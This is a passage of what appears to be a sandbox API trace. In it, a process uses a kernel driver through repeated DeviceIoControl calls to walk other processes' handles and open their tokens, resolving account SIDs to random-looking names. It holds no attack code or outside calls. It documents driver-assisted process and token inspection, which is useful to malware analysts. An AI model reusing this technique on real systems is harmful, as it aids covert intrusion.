[5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.412] CloseHandle (hObject=0xc8) returned 1 [0123.412] CloseHandle (hObject=0xc0) returned 1 [0123.412] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.412] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.412] PsAcquireProcessExitSynchronization () returned 0x0 [0123.412] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0) [0123.412] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0123.412] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.412] PsReleaseProcessExitSynchronization () returned 0x2 [0123.412] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0123.412] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.412] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0123.412] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.412] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0123.412] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.412] PsAcquireProcessExitSynchronization () returned 0x0 [0123.413] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0) [0123.413] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0123.413] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.413] PsReleaseProcessExitSynchronization () returned 0x2 [0123.413] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0123.413] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.413] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0123.413] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.413] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.413] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.413] PsAcquireProcessExitSynchronization () returned 0x0 [0123.413] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880044355d0) [0123.413] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.413] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.413] PsReleaseProcessExitSynchronization () returned 0x2 [0123.413] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0123.413] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.413] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.413] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.413] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0123.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.413] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0123.413] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.413] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0123.413] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.414] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.414] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.414] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.414] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.415] CloseHandle (hObject=0xc8) returned 1 [0123.415] CloseHandle (hObject=0xc0) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.415] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.415] PsAcquireProcessExitSynchronization () returned 0x0 [0123.415] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0) [0123.415] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0123.415] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.415] PsReleaseProcessExitSynchronization () returned 0x2 [0123.415] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0123.415] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.415] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0123.415] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.415] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.416] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0123.416] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.416] PsAcquireProcessExitSynchronization () returned 0x0 [0123.416] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0) [0123.416] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0123.416] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.416] PsReleaseProcessExitSynchronization () returned 0x2 [0123.416] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0123.416] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.416] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0123.416] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.416] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.416] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.416] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.416] PsAcquireProcessExitSynchronization () returned 0x0 [0123.416] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880044355d0) [0123.416] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.416] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.416] PsReleaseProcessExitSynchronization () returned 0x2 [0123.416] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0123.416] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.416] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.416] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.416] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0123.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.416] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0123.416] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.416] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0123.416] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.416] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.417] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.417] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.417] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.418] CloseHandle (hObject=0xc8) returned 1 [0123.418] CloseHandle (hObject=0xc0) returned 1 [0123.418] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.418] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.418] PsAcquireProcessExitSynchronization () returned 0x0 [0123.418] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0) [0123.419] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0123.419] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.419] PsReleaseProcessExitSynchronization () returned 0x2 [0123.419] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0123.419] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.419] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0123.419] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.419] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.419] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.419] PsAcquireProcessExitSynchronization () returned 0x0 [0123.419] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0) [0123.419] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0123.419] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.419] PsReleaseProcessExitSynchronization () returned 0x2 [0123.419] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0123.419] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.419] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0123.419] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.419] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.419] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.419] PsAcquireProcessExitSynchronization () returned 0x0 [0123.419] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880044355d0) [0123.419] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.419] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.419] PsReleaseProcessExitSynchronization () returned 0x2 [0123.419] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0123.420] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.420] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.420] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.420] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.420] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0123.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.420] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0123.420] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.420] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0123.420] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.420] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.420] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.420] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.420] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.421] CloseHandle (hObject=0xc8) returned 1 [0123.421] CloseHandle (hObject=0xc0) returned 1 [0123.421] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.421] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.421] PsAcquireProcessExitSynchronization () returned 0x0 [0123.421] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0) [0123.422] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0123.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.422] PsReleaseProcessExitSynchronization () returned 0x2 [0123.422] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0123.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0123.422] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0123.422] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.422] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0123.422] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.422] PsAcquireProcessExitSynchronization () returned 0x0 [0123.422] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880044355d0) [0123.422] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0123.422] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.422] PsReleaseProcessExitSynchronization () returned 0x2 [0123.422] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0123.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.422] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0123.422] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.422] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.422] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.422] PsAcquireProcessExitSynchronization () returned 0x0 [0123.422] 